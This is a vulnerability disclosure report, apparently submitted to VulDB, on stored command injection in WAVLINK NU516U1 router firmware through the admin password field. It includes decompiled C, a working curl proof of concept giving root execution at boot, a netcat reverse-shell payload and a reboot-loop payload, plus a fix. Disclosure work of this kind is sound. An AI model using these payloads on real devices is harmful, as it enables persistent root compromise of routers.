| Título | WAVLINK NU516U1 2026-05-15 (build 708c073-mt7628) Command Injection |
|---|
| Descripción | # WAVLINK NU516U1: Stored Command Injection via Admin Password Leading to Boot-time RCE
## Summary
WAVLINK NU516U1 has an OS command injection vulnerability in the `adm.cgi` init handler. The `set_sys_adm` page handler stores the admin password to UCI config without sanitization. At boot time, the init handler reads the password back and interpolates it into a double-quoted shell command via `sprintf()` → `system()`. An authenticated attacker can set the password to `$(cmd)` which is evaluated by the shell when `system()` executes the resulting string at next boot, achieving persistent code execution as root.
Unlike typical command injection where the payload executes immediately, this is a stored injection: the payload persists in flash config and triggers on every boot cycle.
## Affected Versions
WAVLINK NU516U1 firmware version 2026-05-15 (build 708c073-mt7628)
## Vulnerability Details
### Root Cause: Unsanitized password interpolated into system() via double-quoted string
**Stage 1 — Store payload** (`adm.cgi` → `set_sys_adm` handler, `adm.c` line 2493):
```c
wlink_uci_set_value("winstar", "system", "Password", newpass);
// Stores attacker-controlled password to UCI config — no sanitization
```
**Stage 2 — Trigger at boot** (`adm.cgi` → init handler, `adm.c` lines 2386-2405):
```c
wlink_uci_get_value("winstar", "system", "Password", &local_30, 0x10); // max 16 bytes
sprintf(acStack_c0,
"echo \"%s:%s\" > /etc/lighttpd.user", // double-quoted string!
&local_20, &local_30); // password injected here
system(acStack_c0); // shell evaluates $(cmd)
```
With `Password = $(id>/tmp/pwn)`, the constructed command is:
```
echo "admin2860:$(id>/tmp/pwn)" > /etc/lighttpd.user
```
The shell evaluates `$(id>/tmp/pwn)` inside the double-quoted string, executing `id` and writing the output to `/tmp/pwn`.
**Limitation:** The UCI read call truncates to 16 bytes (`0x10`), limiting the effective payload to ~12 characters. This is sufficient for `$(reboot)`, `$(nc I P)`, or `$(id>/tmp/x)`.
## Proof of Concept
```bash
# Stage 1: Set malicious password (requires auth, or use MeshMode=2 bypass)
curl -X POST http://192.168.10.1/cgi-bin/adm.cgi \
-H "Referer: http://192.168.10.1/" \
-H "Cookie: session=VALID_SESSION" \
-d 'page=set_sys_adm&admuser=admin2860&newpass=$(id>/tmp/x)'
# Password stored to UCI config
# Stage 2: Trigger — happens automatically at next boot (adm.cgi init)
# Or manually trigger by restarting lighttpd/CGI init
# Expected: /tmp/x contains "uid=0(root) gid=0(root) groups=0(root)"
```
### Reproduction Result
```
/tmp/pwn content: uid=0(root) gid=0(root) groups=0(root)
/etc/lighttpd.user: admin2860: (command substitution consumed the password)
COMMAND_EXECUTED=YES
```
## Impact
An authenticated attacker (or unauthenticated via MeshMode=2 or UserInit=0 bypass) can:
- Achieve persistent root code execution that triggers on every boot
- Survive firmware reboots since the payload is stored in UCI flash config
- Execute arbitrary short commands as root (up to ~12 characters)
- Establish a reverse shell with payloads like `$(nc IP P -e/bin/sh)` (if it fits within the 12-char limit, or using a staged approach)
- Deny service by setting the password to `$(reboot)`, causing a boot loop
## Suggested Remediation
```c
// Replace sprintf+system with direct file write — no shell involved
FILE *f = fopen("/etc/lighttpd.user", "w");
if (f) {
fprintf(f, "%s:%s\n", &local_20, &local_30);
fclose(f);
}
```
The `echo "..." > file` pattern executed via `system()` should be replaced with C-level file I/O (`fopen`/`fprintf`/`fclose`), which does not invoke a shell and is therefore immune to command substitution. Alternatively, if a shell command is required, use single quotes (`'%s'`) instead of double quotes and sanitize the password for single-quote characters.
|
|---|
| Fuente | ⚠️ https://github.com/oduoke567/WAVLINK-NU516U1-2026-05-1/blob/main/report2.md |
|---|
| Usuario | oduoke (UID 98772) |
|---|
| Sumisión | 2026-06-06 12:23 (hace 2 meses) |
|---|
| Moderación | 2026-08-02 22:34 (2 months later) |
|---|
| Estado | Aceptado |
|---|
| Entrada de VulDB | 385418 [Wavlink WL-NU516U1 708c073-mt7628 Admin Password adm.cgi set_sys_adm escalada de privilegios] |
|---|
| Puntos | 20 |
|---|